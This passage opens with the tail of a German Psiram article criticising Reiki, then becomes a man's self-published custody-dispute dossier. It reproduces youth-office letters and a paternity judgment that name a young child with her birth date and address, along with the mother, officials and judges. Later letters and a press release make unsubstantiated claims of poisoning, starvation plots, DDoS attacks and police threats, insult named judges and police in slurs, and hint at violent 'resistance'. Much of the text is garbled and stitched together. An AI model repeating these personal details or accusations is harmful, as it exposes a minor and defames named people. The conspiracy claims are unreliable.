beherrschen trachtet. Dies macht Reiki zu einem nutzbaren
Filterinstrument für Sekten und sektenähnlich operierende Gruppen. Reiki
wird als angeblich fernöstliche Wundermethode angepriesen. Damit können
jene Personen selektiert werden, die leichtgläubig und beeinflussbar
sind. Der Irrglaube an eine solche mystische Heilmethodik wird dadurch
verstärkt, dass man sich innerhalb der Szene mit diversen Reiki-Stufen
eine Art Pseudokompetenz verleiht.
Fachliteratur und weitere Artikel
Eric S. Harz. The Reiki Danger ? healing that harms. Jubilee Resources (Neuseeland)
Lee
MS, Pittler MH, Ernst E. Effects of reiki in clinical practice: a
systematic review of randomised clinical trials. Int J Clin Pract 2008,
62, 6: 947-954
Lee MS, Lam P, Ernst E. Effectiveness of tai chi for
Parkinson?s disease: A critical review. Parkinsonism Relat Disord 2008,
14(8) 589 - 594
MS Lee, MH Pittler, E Ernst. Tai chi for osteoarthritis: a systematic review. Clin Rheumatol 2008, 27;2: 211-218
Lee MS, Pittler MH, Kim MS, Ernst E. Tai chi for type 2 diabetes: a systematic review. Diabetic Medicine 2008;25(2):240-1
Lee MS, Pittler MH, Shin B-C, Ernst E. Tai chi for osteoporosis: a systematic review. Osteoporosis Int 2008, 19: 139-146
Weblinks
Ulrich Dehn/Friedmann Eißler: Kompakt-Infos: Reiki (http://www.ekd.de/ezw/dateien/EZW_KI_Reiki_5_2009.pdf) Evangelische Zentralstelle für
Weltanschauungsfragen, Mai 2009
Bernhard Brünjes: REIKI. Das Patentrezept des Japaners Mikao Usui (http://www.agpf.de/Reiki.htm) AGPF - Bundesverband Sekten- und Psychomarktberatung
Colin Goldner: Geist- und Wunderheilung/Reiki. Heilsame Hände (http://www.sueddeutsche.de/wissen/teil-geist-und-wunderheilungreiki-heilsame-haende-
1.768375) Süddeutsche Zeitung 28.08.2007
Anderssprachige Psiram-Artikel
Français: Reiki
Quellennachweise
[1] http://www.ouw.at/index-Dateien/Reiki_1.htm 1.
[2]
Stenger, Victor J. (1999). ?The Physics of ?Alternative Medicine?
Bioenergetic Fields?, in: The Scientific Review of Alternative Medicine,
Vol. 3, No.1 [1]
(http://www.colorado.edu/philosophy/vstenger/Medicine/Biofield.html)
[3]
Nassim Assefi, Andy Bogart, Jack Goldberg, Dedra Buchwald: Reiki for
the Treatment of Fibromyalgia: A Randomized Controlled Trial. In: The
Journal of Alternative and
Complementary Medicine. Vol. 16, Nr. 11, November 2010, S. 1191?1200 [2] (http://www.liebertonline.com/doi/full/10.1089/acm.2008.0068)
[4]
Lee, MS; Pittler, MH; Ernst, E (2008). ?Effects of Reiki in clinical
practice: a systematic review of randomized clinical trials? in:
International Journal of Clinical Practice, Vol
62, Issue 6, p. 947?954 [3] (http://onlinelibrary.wiley.com/doi/10.1111/j.1742-1241.2008.01729.x/abstract) [4] (http://www.blackwell-synergy.com/doi/abs/10.1111
/j.1742-1241.2008.01729.x)
[5]
Mansour AA, et al: A study to test the effectiveness of placebo Reiki
standardization procedures developed for a planned Reiki efficacy study.
J Altern Complement Med.
1999 Apr;5(2):153-64 [5] (http://www.ncbi.nlm.nih.gov/pubmed/10328637)
[6] Jarvis W: Reiki. National Council Against Health Fraud 1999 [6] (http://www.ncahf.org/articles/o-r/reiki.html) 6.
Von ?http://www.psiram.com/ge/index.php?title=Reiki&oldid=118699?
Kategorien: Esoterik Pseudomedizin
Diese Seite wurde zuletzt am 15. August 2014 um 15:45 Uhr geändert.
Der Inhalt ist verfügbar unter der Creative Commons Lizenz.
Reiki ? Psiram https://www.psiram.com/ge/index.php/Reiki
2 of 2 16.04.2015 19:03
update lesbarkeit
http://take-ca.re/
Aus unehelicher eheähnlicher Lebensgemeinschaft mit gemeinsamem Haushalt geht ein gemeinsames Kind hervor.
Kindes-mutter ist Mitglied einer pseudomedizinischen Sekte
(?Reiki?) der Großmutter die ?Heilen durch Hand-auflegen? betreibt.
(http://reiki-direkt.de/huessner/ oder http://take-ca.re/huessner/) Vater
will nicht daß das Kind im Sinne der Sekte erzogen wird.
Mutter verweigert
Sorgerechtserklärung für das Kind abzugeben um Vater daran zu hindern
die Religion, also über die Sektenzugehörigkeit zu bestimmen und/oder schulmedizinische Behandlung für das Kind durchzusetzen.
Daraufhin erfolgt aufgrund dieses Vertrauensbruches Trennung.
Nach der Geburt will der Vater Umgang mit seinem Kind haben, es also
besuchen oder daß es ihn besucht! Um das zu verhindern gibt die Mutter an er
sei gar nicht Vater des eigenen Kindes, wohl-gemerkt nachdem sie ihn vorher
urkundlich beim Jugendamt als Vater angegeben hat um Unterhalt kassieren zu
können. (Den hätte der Vater vermeiden können wenn es zu einer sogenannten
Residenzlösung gekommen wäre, also bei vollem Sorg- und Umgangsrecht des
Vaters das Kind zwischen den Elternteilen ?gependelt? wäre, beispielsweise
jede gerade Woche bei Papa, jede ungerade Woche bei Mama). Hierfür hat der
Vater sogar noch jahrelang große Wohnung vorgehalten während er
Gerichtsentscheidungen abwarten mußte. Da so zudem identischer finanzieller
Erziehungsaufwand für beide Elternteile entsteht wäre Unterhaltspflicht
weggefallen.
Der Kidnes-vater
muß sich, nach der Neuregelung des § 1626a BGB anders als die Frau, -
?Wohlverhalten? - wenn er das Sorgerecht haben will. Hat diese -
beispielsweise als Alkoholikerin beim Stillen die ?Titte voll Hardenberg?
oder schädigt das Kind - dann gilt kein Kindeswohlvorbehalt, keine
Kindeswohlprüfung, dann muß ein Verfahren zur Aberkennung des Sorgerechtes
eingeleitet werden § 1666 BGB.
weiterlesen: http://take-ca.re/ja.htm
Champagnerluft und Tradition
Bad Homburg
Der Magistrat
Fachbereich Soziales u. Jugend
- Soziale Dienste -
Rathaus - Rathausplatz 1
Bad Homburg v.d.Höhe
Ansprechpartner/in: Frau Grohmann
Geschoß/Zimmer: 1.OG./173
Telefonzentrale: 06172/100-0
Telefon direkt: 06172/100-457
Telefax: 06172 / 100-470
Postanschrift: Stadtverwaltung 61343 Bad Homburg v.d.Höhe
Herrn
Maximilian Bähring
Ludwigstraße 4
61348 Bad Homburg V d Höhe
28. September 2000
50.3.5.5048.BU.O0.74
Beratung und Unterstützung für das Kind Tabea Lara Riek, geb. 19.09.2000
Sehr geehrter Herr Bähring,
das Jugendamt ist beratend und unterstützend für das oben aufgeführten Kind, zur Klärung folgender Aufgaben beauftragt:
Feststellung der Vaterschaft
Regelung der Unterhaltsansprüche des Kindes gegen den Vater
Frau Uta Riek
hat Sie als Vater ihres Kidnes be-
nannt
Wir fragen daher unter Hinweis auf die im Bürgerlichen Gesetzbuch enthaltener Vorschriften (§§ 1592 ff BGB) an, 0b Sie gewillt sind, die Vaterschaft anzuerkennen. Als Vater eines nichtehelichen Kindes wären Sie nach § 1615 f BGB auch verpflichtet, dem Kind mindestens bis zur Vollendung des 18. Lebensjahres Unterhalt in Form einer Geldrente zu gewähren (sofern es nicht in Ihrem Haushalt aufgenommen worden ist). Die Verpflichtung zum Unterhalt kann zusammen mit der Anerkennung der Vaterschaft (kostenfrei) beim Jugendamt beurkundet werden!
Zur
Eintragung ihrer vollständigen Personalien ins Geburtsregister und zur
Klärung der Unterhaltshöhe, die sich nach Ihren persönlichen und
wirtschaftlichen Verhältnissen richtet - unter Berücksichtigung der
Richtlinien und Sätze der ?Düsseldorfer Tabelle? (siehe beil. Kopie) ?
bitten wir
Sie, den beigefügten Ermittlungsbogen gewissenhaft
auszufüllen, zu unterschreiben und mit den erforderlichen Nachweisen
über Einkommen, Vermögen, aber auch sonstige Verpflichtungen, innerhalb
der nächsten 14 Tage an uns zurückzusenden.
Sobald uns diese Unterlagen hier vorliegen werden wir eine Unterhaltsberechnung vornehmen.
Danach kann ein Termin zur Beurkundung der Vaterschaft und Unterhaltsverpflichtung mit Ihnen
vereinbart werden.
Mit freundlichen Grüssen
Gohmann
Anlagen
1 Unterhaltstabelle
1 Ermittlungsbogen
Postbank Frankfurt, BLZ 500 100 60, Konto 2512 609. Taunus-Sparkasse, BLZ 512 500 00, Konto 001 014 005.
Öffnungszeiten Rathaus: Mo., Mi., Fr. von 08.00 bis 12.00 und Mi. von 14.00 bis 17.00 sowie nach Vereinbarung.
Öffnungszeiten Stadtladen: Mo., Di., D0. von 08.00 bis 17.00, Mi. von 08.00 bis 18.00 und Fr, von 08.00 bis 12.00.
Champagnerluft und Tradition
Bad Homburg
Der Magistrat
Fachbereich Soziales u. Jugend
- Amtsvormundschaften -
- Beistandschaften -
Rathaus - Rathausplatz 1
Bad Homburg v.d.Höhe
Ansprechpartner/in: Frau Grohmann
Geschoß/Zimmer: 1.OG./173
Telefonzentrale: 06172/100-0
Telefon direkt: 06172/100451
Telefax: 06172 / 100-470
Postanschrift: Stadtverwaltung 61343 Bad Homburg v.d.Höhe
Herrn
Maximilian Bähring
Ludwigstraße 4
61348 Bad Homburg v.d.Höhe
Az.: 50.3.5.5048.BU.00.74
1. November 2000
Beratung und Unterstützung für Tabea Lara Riek, geb. 19.09.2000
Sehr geehrter Herr Bähring,
in obiger Angelegenheit teilen wir Ihnen mit, das un die Mutter des Kindes, Frau Riek heute telefonisch darüber informierte, daß sie nicht bereit ist die urkundliche Zustimmung zu Ihrer Vaterschaftsanerkennun abzugeben
Die urkundliche Anerkennung der Vaterschaft hat unbefristeten Bestand. Sollte Frau Riek jedoch ein Jahr nach der Abgabe Ihrer Vaterschaftsanerkennung noch immer nicht zugestimmt haben, besteht für Sie die Möglichkeit nach ä 1597 II BGB Ihre Vaterschaftsanerkennung zu Widerrufen.
Wir sind gerne bereit die Angelegenheit mit Ihnen nochmals zübesprechen, sofern Sie dies wünschen. Eine vorherige Terminsvereinbarung wäre jedoch sinnvoll.
Wir bedauern, Ihnen keine positive Mitteilung machen zu können.
Wir sind in dieser Angelegenheit nur beratend und unterstützend tätig, sodass unsere Arbeit hiermit erledigt ist.
Mit freundlichen Grüßen
Im Auftrag
Grohmann
Postbank Frankfurt, BLZ 500 100 60, Konto 2512 609. Taunus-Sparkasse, BLZ 512 500 00, Konto 001 014 005.
Öffnungszeiten Rathaus: Mo., Mi., Fr. von 08.00 bis 12.00 und Mi. von 14.00 bis 17.00 sowie nach Vereinbarung.
Öffnungszeiten Stadtladen: Mo., Di., D0. von 08.00 bis 17.00, Mi. von 08.00 bis 18.00 und Fr. von 08.00 bis 12.00.
2.
B e g r ü n d u n g :
1.
Richtig ist, daß die unverheiratete Uta Brigitte Riek die Mutter der Beklagten
ist.
Nicht richtig ist, daß die Mutter ?die Anerkennung der Vaterschaft durch den
Kläger" beantragt hat. Richtig ist vielmehr, daß die Kindesmutter daraufhin er-
klärt hat, der Kläger könne möglicherweise der Vater des Kindes sein.
2.
Richtig ist, daß der Kläger die Vaterschaft anerkannt hat. Es besteht daher kein
Raum mehr für eine Vaterschaftsfeststellungsklage Dem steht § 1600 d Abs. 1 ?
entgegen. Die Vaterschaft ist nur dann gerichtlich festzustellen, wenn keine ?
Vaterschaft nach § 1592 Nr. 2 BGB besteht. Solange eine Vaterschaftsaner-
kennung vorliegt, ist nicht nur eine weitere Anerkennung der Vaterschaft durch
einen anderen Mann unwirksam (§ 1594 Abs. 2 BGB), sondern auch keine ge-
richtliche Feststellung der Vaterschaft zulässig (Vergleiche BGH, NJW 1999,
1632).
Der von dem Kläger zitierte ä 1600 e BGB regelt lediglich die Zuständigkeit
des Familiengerichts für die Vaterschaftsfeststellungs- und
Anfechtungsverfahren sowie die Regelung für den Fall, daß die Person, gegen
die sich die Klage zu richten hätte, verstorben ist.
Soweit der Kläger sich auf einen Aufsatz von Wieser in NJW 1998 beruft, so
mag es zwar sein, daß dies eine Literaturmeinung ist, die eine Vaterschafts-
feststellungsklage kontralegem für wünschenswert hält. Eine gesetzliche
Rechtsgrundlage für die vorliegende Klage ist jedoch daraus nicht zu ersehen.
Wäre diese Klage in dieser Form zulässig, so würde die gesetzliche Regelung
-nämlich das die Anerkennung der Vaterschaft der Zustimmung der Mutter be-
darf- ins Leere laufen.
Das Wohl des Kindes ist durch die Erklärung der Mutter nicht tangiert. Das
Kind ist bestens versorgt und es bestehen keinerlei Defizite.
Das sind 4 Wochen von B.u.V. über abtippen
bis ins Gerichtsfach der RAe im Gericht selbes
Gebäude
? Ausfertigung ?
Amtsgericht Bad Homburg v.d.H.
? Familiengericht -
9 F 104/01 Ki
Verkündet am 20.03.2002
20.03.2002
Schulte, Justizangestellte
als Urkundsbeamtin der Geschäftsstelle
Anwaltssozietät
in Bad Homburg
17. April 2002
Urteil
Im Namen des Volkes!
In der Familiensache
Maximilan Bähring,
wohnhaft: Louisenstraße 101, 61348 Bad Hamburg v.d.H.
- Kläger -
verfahrensbevollmächtigter:
Rechtsanwalt Agenor Perpelitz, Louisenstr, 99, 61348 Bad Homburg v.d.H?
gegen
Tabea-Lara Riek, geboren am 19.09.2000?
wohnhaft: Lindenallee 2a, 61348 Bad Homburg v.d.H.
- Beklagte -
Verfahrensbevollmächtigter:
Rechtsanwalt Boutros Asfonr? Castlllostr. 16, 61348 Bad Homburg v.d.H.
Geschäftszeichen: 135/01B02
wegen ?Feststellung? der Vaterschaft
hat das Amtsgericht Bad? Homburg v.d.H;
auf die mündliche Verhandlung vom 20.03.2002
durch den Richter am Amtsgericht Dr. Walter
für Recht erkannt
Es wird festgestellt,
daß der Kläger der Vater der Beklagten ist.
Die Kosten des Verfahrens werden gegeneinander aufgehoben.
Tatbestand:
Seite1/2
Die Beklagte wurde am 19.ß9.2000 geboren.
Im Zeitpunkt der Geburt war deren Mutter mit dem Kläger nicht verheiratet.
Der Kläger trägt vor er sei der Vater der Beklagten, weil er mit deren Mutter von Mai 1999 bis Mai 2000, insbesonders in der gesetzlichen Empfägngniszeit, das ist die Zeit vom 24.11.1999 bis 22.03.2000, zusammen gelebt und Geschlechtsverkehr gehabt habe.
Der Kläger beantragt,
festzustellen, daß er der Vater der Beklagten ist.
Die Beklagte beantragt,
die Klage äbzuweisen.
Es ist Beweis erhoben werden über die Behauptungen des Klägers durch Einholung eines Abstammungsgutachtens; diesbezüglich wird auf das schriftliche Gutachten vom 31.1.2002 Bezug genommen.
Entscheidungsgründe:
Die Klage ist zulässig und begründet.
Das Gericht ist aufgrund der durchgeführten Beweisaufnahme davon überzeugt, daß der Kläger der Vater der Beklagten ist.
Dies wird durch das eingeholte DNA-Gutachten belegt, wonach die Vaterschaft des Klägersbewiesen ist. Die Vaterschaft des Klägers ist daher festzustellen (§ 1600 d BGB).
Die Kostenentscheidung folgt aus § 93 c ZPO.
Walter? Richter am Amtsgericht
Ausgefertigt
Amtsgericht Bad Hamburg v.d..H 08.04.2002
Schulte. Justizangestellte
Urkundsbeamtin der Geschäftsstelle
Seite2/2
Pressemitteilung: http://take-ca.re/tumblr.com/ http://take-ca.re
1995/6 wird Maximilian Bähring im Zivildienst der Klinik Dr. Baumstark sexuell missbraucht.
1998 wird er vom Ex seiner Komillitonin einer kurzfristigen Liasion mit dem Leben bedroht.
Maximilian Bähring erstattet mehrfach Strafanzeigen gegen untätige
Polizeibeamte und zwar in Bad Homburg v.d.Höhe, dem
1. und dem 5. Revier in Frankfurt a.M. und beschwert sich bereits 2003
und 2005/6 bei den hessichen Ministern für Justiz und Inneres durch
Briefe/Faxe und eigenes Vorsprechen.
Aufgrund bösartigster Verleumdungen (er würde Drogen nehmen) der Mutter
seiner Tochter im Sorgerechtsverfahren geht sein Betrieb pleite und er
verliert den Job. Seit 14 Jahren hetzt die Kindesmutter das Kind gegen
ihn auf, er bekommt es nicht zu sehen. Seine Ex ist in einer Sekte,
?REIKI? = pseudomedizinischer Unfug religiöses ?Heilen durch
Handauflegen?, der auch ? und da schließt sich der Kreis ? seit neuestem
bei der Kur und Kongress (Baumstark) praktiziert wird. Deshalb wollen
die ihn auch unbedingt über irgendwelche Gutachten zu denen das
städtische Jugendamt im Sorgerechtsprozes nötigt medizisch-psychiatrisch
mundtot machen. Immerhin gehört die Klinik in der er mißbraucht wurde
der Stadt im Verwaltungsrat sitzt der OB. Als er über die auch ansonsten
katastrophalen Zustände berichten wollte auf einem Internet-Portal für
Klinik-Bewertungen wurden die Bewertungen gelöscht. Er nimmt kein
Drogen, Politikerkinder nehmen allerdings welche, hat er auch ausgesagt.
Die Server von ihm und seinen alten Unternehmen liegen unter Hacker /
DDOS-Dauerfeuer man generiert gigantische Tele-kommunikationskosten zu
seinen Lasten. Netz-Provider plündern trotz fehlender Verträge oder
Einzusgermöchtigungen sein Sozialhilfe-Girokonto. So will man verhindern
daß er sich an die die Öffentlichkeit wendet / diese informiert.
Man versucht außerdem über eine Entmündigung mit neuem Vormund
?Reiki?-Sekte eine Vormundschaft über ihn zu errichten um über sein Kind
eine unterhaltliche Durchgriffshaftung auf das nicht unerhebliche
Vermögen seiner Eltern herzstellen (5% eines Bergbau- und
Aufbereitungsbetriebes, Rüstungszulieferer der Isaelis in Österreich).
Als er 2007 mangels fianziellen Mitteln gezwungen ist Sozialhilfe zu
beantragen verweigert man ihm diese. Man verweigert ihm ausserdem einen
Analt um sein Recht auf Sozialhilfe durchzusetzen. Zwischen dem 05.
Februar 2007 und dem 28. April 2007 versucht das Jocenter in Fankfurt
a.M. ihn obdachlos zu bekommen und mit Todesfolge auszuhungern. Mit
aller Gewalt versucht man erstmalig ihn schwerst körperzuverletzen: im
Sinne des § 226 (1) 3 StGB, einen psychischen Zusammenbruch
herbeizu-führen um ihn so in einer Psychiatrie faktisch mundtot zu
bekommen. Hiergegen versucht er im Verfahren 3 Zs 1795/08 GStA Frankfurt
Main vorzugehen. Später gerät er wieder und wieder
rechtsmissbräuchlich/willkürlich in Gefangenschaft wird dort vergiftet
und macht mehrere Hunger- (25 Tage) und Trink-/Durststreiks (zwo mal
secheinhalb Tage)! Die strafangezeigten Polizisten ?bedanken? sich für
die Anzeige indem sie bei ihm vorstellig werden und ihn einschüchtern,
man werde ihn verschwinden lassen - wenn er den Rechtwseg beschreite /
die Dienstaufsicht einschaltet. Er wendet sich hilfesuchend an das
europäische Parlament, NGOs (amnesty etc.) sowie Diplomaten
verschiedener ausländischer Staaten.
Er wird von einem betrunkenen Nachbarn fast erwürgt. Außerdem wurde er
mehrfach überfallen (möglicherweise um an Datenträger mit
Netzwerkpasswörtern zu gelangen mit denen man täterseitig glaubt an
Vermögen von ehemaligen Kunden seines EDV-Beriebes, milliardenschweren
Pensionsfonds, zu kommen), von Hunden gebissen und angeblich von ihren
Männern verprügelten Trinkerinnen derart gestalkt daß ein Umzug von Bad
Homburg v.d.Höhe nach Frankfurt a.M. notwenig wurde.
Abgesehen davon wird ihm permanent das Waser abgestellt ? wohl vor dem
Hintergrund daß seine Eltern mal eine Bürger-intiative hatten die sich
gegen die Errichtung einer Klärschlammtrockungsanlage für das gesamt
Rhein-Main Gebiete vor der eigenen Haustür wendete. Wahrschienlich
deshalb interniert man ihn wärhend Wahlen und verbietet ihm für die
spätere Piratenpartei ? den Arbeitskreis Vorratsdatenspeicherung -
Plakate für einen Bürgerrechts-Demoaufruf gegen einen totaltären
Überwachungsstaat ?zu kleben. Zudem wird er so falsch in die
Wählerregister eingetragen daß ihm Wahlberechtigungspost-karten gar
nicht zugehen und er bei jeder Wahl ? mit Information der OSZE ?
einzeln beim Wahlleiter das Fehlen einer solchen anmahnen muß eine zu
erhalten. (WP 88/13 Deutscher Bundestag)
Und man rächt sich wohl für seine Position zu Zeiten seiner Aktivität
als Jugendparlamanetarier als er die Meinung vetreten hat daß Väter
genau so ein Elternrecht zusteht wie irgendwelchen Schlampen die neben
dem Pille einwerfen dann auch noch vergessen haben wollen mit wem sie
?geschnaggserlt? haben ?anonyme Vaterschaft? wenn es außer um Unterhalt
oder Papiere vom ?ANONYMEN? Vater Staat (dem Steuerzahler) auch mal
darum geht daß Väter ihre Kinder anteilig selbst erziehen (Hälfte der
Zeit) und natürlich sehen/besuchen wollen damit Unterhalt nicht in den
schwarzen Kassen von Sekten verschwindet.
Nachdem er die Frechheit besessen hat sofort als das neue Sorgerecht
geschaffen wurde diese für sein Kind zu beantragen hat man versucht ihn
einzuschüchtern indem er von Polizsiten regelrecht ?zusammegschlagen?
wurde. Seine Eingaben an Gerichte werden unbegrüdet ?verworfen? auch
beim Bundesverfassungsgericht, Post (auch Einschreiben) verschwindet
mehrfach.
http://take-ca.re/download/Pressemitteilung.pdf
http://anschlag215.tumblr.com/post/88850613879/maximilian-bahring-holderlinstrasse-4-d-60316
http://anschlag215.tumblr.com/post/86696188019/maximilian-bahring-holderlinstrasse-4-60316
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
per Fax: +49 / (0)721 / 9101-382
Budnesverfassunggericht
Postfach 1771
D-76006 Karlsruhe
Frankfurt/M., 12. Februar 2015
3 UF 43/15 Oberlandesgericht Frankfurt /M. (s.a. 1 BvR 50/15 BVerfG)
in vorgenanter Sache lege ich Verfassungbeschwerde wegen Verletzung
richterlichen Gehörs und unfairen Verfahrens (Artikle 19 GG) ein.
Tatsacheninstanz ignoriert einfach daß ihr in Sachen Sorgerecht für meine Tochter neue Beweismittel bekannt gemacht wurden aus denen sich ergibt daß die Skete in deren Dunstkreis die Kidnesmutter das Kind großzieht gefährlich ist. Kürzlich wurde mir mittels Internet ein mehr als 100-seitiges Werk der Innebhörde der Hansestadt Hamburg zugespielt welches Reiki in zusammenhang mit Scientolgy bringt. Dieses hatte ich auszugsweise an das Gericht in Bad Homburg v.d.H. übersendet. Dennoch behauptet dortige Richterin die im übrigen schonmal Gegenstand eines Befangenheistantrages war tatsachenwidrig und entgegen besseren Wissens es gäbe keinerlei neue Beweislage. Genauso haben die Richter des 3. Senates des Oberlandesgerichtes Frankfurt a.M. Strafanzeigen gegen sich unterschlagen und dann mit der Behauptung der Kläger begehre als Anzeigeerstatter keinerlei Ermittlungsverfahren gegen Sie Befangenheistanträge gegen sich abgeschmettert. Am 24. Mai 2013 informierte ich den Senat darüber daß eine Strafanzeige gegen alle Ihn besetzende Richter mit selebm bei der Staatsanwltschaft eingreicht worden sei und überließ dem Gericht Kopie des Faxes und der erfolgreichen Versende-bestätigung der Anzeige. Inhaltlich ging es um Rechtsbeugung wegen überlanger Verfahrensdauer. Die Richter am Oberlandesgericht Frankfurt a.M., Dr. Fritz, Kummer-Sicks, und Reitzmann behaupteten dann zuerst von solcher Starfanzeieg sei Ihnen nichts bekannt und als ich diese nachher aus meinen Unteralgen zauberte und Ihnen ihre DREISTE LÜGE nachwies daß Beweismittel bei der Akte lag und nicht etwa nicht vorhanden war behaupteten sie es sei eben noch niemand von der Staatsnwalstchaft an Sie herangetreten um meienr Anzeige nahczugehen udn deshalb sei das nicht erheblich für den Befangenheitsantrag. Das ist eindeutig Rache meiner Anzeige wegen.
( Maximilian Baehring )
(987 Cs) 359 Js 50471/09 ? 30 C 1503/10 - 25
1. Sie haben der kompletten Liegenschaft mehrfach das Wasser abgestellt.
Ich habe merhfach Gerichte beschäftigt ? gegen Vorauskasse versteht sich -
EA AZ: 30 C 2286/09 - 68 und 33 C 1568/12 (56) Amtsgericht Frankfurt a.M.
Außerdem habe ich versucht Seuchen-polzeiliche Abwehr zu erreichen.
(siehe dazu auch später Horr 241 Js 22968/12 Amtsanwaltschaft Frankfurt a.M.)
2. Mehrfach haben Sie überhöhte Gebühren (Virenscanner) für Internet abgebucht
3. Obgleich ich Abbuchungerlaubnis daraufhin widerrief und dies auch der
Frankfurter Sparkasse 1822 schriftlich sowie persönlich und nicht nur einmal,
am 31. August 2009 um 11:53 Uhr letztmalig scriftlich per WWW-Formular,
mitteilte buchte die fröhlich weiter ab. (identsiches vorgehen wie bei Alice
gabe es zuvor bei der Bank-/Providerkombination Frankfurter Volksbank/Freenet)
Am 01. September 2009 wurde dennoch abgebucht und am 10. September 2009 nochmals!
Das ganze war für mich existenzbedrohend, ich habs nicht so dicke.
Weil gerichte grundsätzlich machen was sie wollen, man mir trickreich und ? so
wurde
ermittelt atvorsätzlich also mit Absicht - keinerlei anwalltliche
Beratung zuteil werden läßt und mich dei Frankfurter Richter soweiseo
regelrecht ?verarschen? seit der ehemann der richterin Leichthammer
mioch denuziert hat weil ich derselben und ihrem Dienstvorgänger mit
justizminisetrialer Dienstaufsicht auf den Pelz gerückt bin habe ich
mich
in der Nacht vom kurz vor
10. September 2009 - 23:40 Uhr
hifesuchend an die Polizei gewandt.
Wie immer hat man mich dort wieder verarscht strafrechtliche Untreue des der bank anvertrauten girokontovermögens sei ?Zivilrecht? man könne und vor ellem werde nichts machen und mir zu verstehen gegeben daß ich nerve.
Daraufhin MUSS ich ? der Staatsanwaltschaft nach - um meine
Nahrungs-versorgung sicherzustellen zu können mein Geld in einem
SYMBOLISCHEN one-Man-BANKRUN
aus der Bank zu holen versucht haben bevor
die es wieder veruntreuen.
Die fraSpa1822 ist zu faul die ihr
angebotene Schadenrestazzahlung abzurufen, die Anwälte ?conslium Juris?
scheinen verzogen, die damals beauftragte gerichtsvollzieherin weigert
sich Zahlungen entgegenzunehmen
Ich bin anscheinend nicht der einzige betroffene dieser MAFIA den Krawallen nach zu urteilen.
3ZS 1795/08 Generalstaatsanwaltschaft 3660 Js 219084/07 Staatsanwlatschaft Frankfurt/M. 3540 Js 229845/07 Amtsanwlastchaft Frankfurt a.M.
04. Juni 2007 ich erhalte durch Rechtspflager Schaffner einen Berechtigungsschein für Rechtsberatung (Geschäftsnummer 25 II 1176/07) für Dienstaufsichtsbeschwerde (Az: 313 bE 1.44/07) und Anzeige gegen Jobcenter, SPD und Polizei (AZ: 3660 Js 219084/07). Das war dem Umstand geschuldet daß an dem tag das Büro in dem die Anträge für dasInitial ?B? bearbeitet werden nicht besetzt wat wo man mir seit Monaten solchen Antrag auf Rechtesberatung verweigert hatte.
Als man mich auszuhungern begann bin ich damals zu Polizei gegangen wo man mir nicht helfen wollte: man werde überhaupt nur tätig wenn ich das schriftlich einreiche. Das ist eindeutig Rache dafürdaß ich den Bad Homburger Polzisten verboten habe ?msd.net? zu überwachen weil ich Oberbürgermeinster Assmann (inwischen Quandt Stuiftung) gegängelt fühlte dadruch daß man ihm seinen mangelhaften Relaying-Schutz seitens des städtischen Betriebes Kurhaus/Kur- und Kongress vorführte.
Der Homburger Polizist Schmidt(?) hatte sich in Bad Homburg noch gebrüstet wenn ich nach Frankfurt gezogen sei dann bekäme ich es mit eben jenem 1. Revier zu tun die (in etwa:) ?ihre Freude mit Ihnen haben werden? und wörtlich ?wir sehen uns wieder?. Es ging um die mehr als nur paranoiden Verfolgungsideen der Richterin Leichthammer hin die meinte wenn man sich zufällig auf auf eine Wohunganszeige hin melde weil man die richterliche und polizeilich Korruption in Bad Homburg nicht mehr erträgt dann müsse das irgendwas damit zu tun haben daß sie verfolgt werde. Für diese PARANOIDE dumme Richetrinnen-Nutte (verschafft Geld für Mehrverkehr) konstruiert die untätige korrupte Polizei Bad Homburg aus Rache Straftaten 5/4 QS 11/07 Landgericht Frankfurt a.M. ? 359 Js 32999/06 Amstanwlatschaft Frankfurt a.M..
Die selbe dumme Nutte blockiert 2013 mein Sorgechtsverfahren und versucht mich druch eine willkürlcihe reche-Inhaftierung zum aufegeben der sorgerchtssache zu NÖTIGEN.
Bei der Staatsnwaltschaft habe ich Hinweise/Strafanzeigen an die Polizei gesendet unter anderem am
6. Februar 2007, am 23. Februar 2007 am 27. Februar 2007 (Amtsgericht ) und am 28. Februar 2007 (Staatsanwaltschaft)
Unter 3540 AR 200429/07 hat der Staatanwalt mich am 09. Mai 2007 regelrecht verarscht. Er gibt einfach ? ENTGEGEN DER TATSACHEN ? an ich sei zur vernehmung als Zeuge auf meine Strafannzeige hin nicht erschienen damit er das verafhren einstellen kann.
Wiederholt hatte ich mündlich versucht Strafanzeige zu erstatten. Man wollte mir / meienr Krnakenkasse geld Geld abknöpfen für medizinsiche Inhaftierung am Karnevalsdienstag.
Am 14. Juni 2007 ist mir dann endgültiogd er Kragen geplatzt. Die dummen Bullen-Schweien beim ersten Revier haben sich wieder geweigert ihre Arbeit zu machen als ich Strafanzeige wegen Abrechnungsbtrug ersatten wollte. Regerlcecht ausgelacht ahben die michd afür daß ich den Weg der Dienstaufsciht udn Strafanzeige gegen untätige Korrupte Polizisten einschlagen wollte.
NachrichtSchriftformbedürfnis? Ich darf mich wundern. Ich habe
direkt bei Erhalt des Bescheides der Einstellung von Leistungen
widersprochen. Zudem wurden die Leistungen ohne Bescheid eingestellt,
denn dieser erreichte mich (nach meinen persönlichen Vorsprechen vom 31.
01. 2008 gegen 14:00 und wegen des fehlenden Zahlungseinganges) erst am
05. 02 2008 um 13:00. Am 06. 02. wurde ich dann (siehe unten) auf das
Signaturbedürfnis hingewiesen. Daraufhin bin ich sofort in ihrem Hause
vorstellig geworden und habe den Widerspruch nochmals handschriftlich
und unterschrieben bei Frau Kleinfeld eingelegt. Damit ist allen
Fombedürfnissen Rechnung getragen. Sollten wir wieder erwarten noch
einen Notar (notfalls mit Glaubhaftmachung durch Apostille) brauchen,
dann sagen Sie mir bitte Bescheid, ein solcher schuldet mir noch einen
Gefallen (immerhin durfte er seine Zulassung behalten).*
Noch ist
es nicht ganz so schlimm. Aber heute habe ich zudem Anruf von meinem
Vermieter erhalten, der mich am Freitag rauswerfen wird, wenn ich keine
Miete überweise.Auch für die mehfrach angsprochenen Mietrückstände aus
der Vergangenheit ist übrigen das RM-JobCenter laut Ihrer Broschüre
Ansprechpartner.Artikel 19 Absatz 4 Grundgesetz gibt mir eine
Rechtsweggarantie, die Sie hindern, indem Sie versuchen mich in die
Gosse zu treiben, (damit das staatsanwaltliche Ermittlungsverfahren (AZ.
3660 Js 219084/07 StA LG FFM) behindert wird?). Wo solch Willkür und
Rechtsbeugung herrschen ist Widerstand erste Bürgerpflicht. Ich will
nämlich ausdrücklich NICHT, das wir dahin kommen, das die Menschen
Kettensägen- oder Schwert- oder Sportgeräteschwingend, die juristische
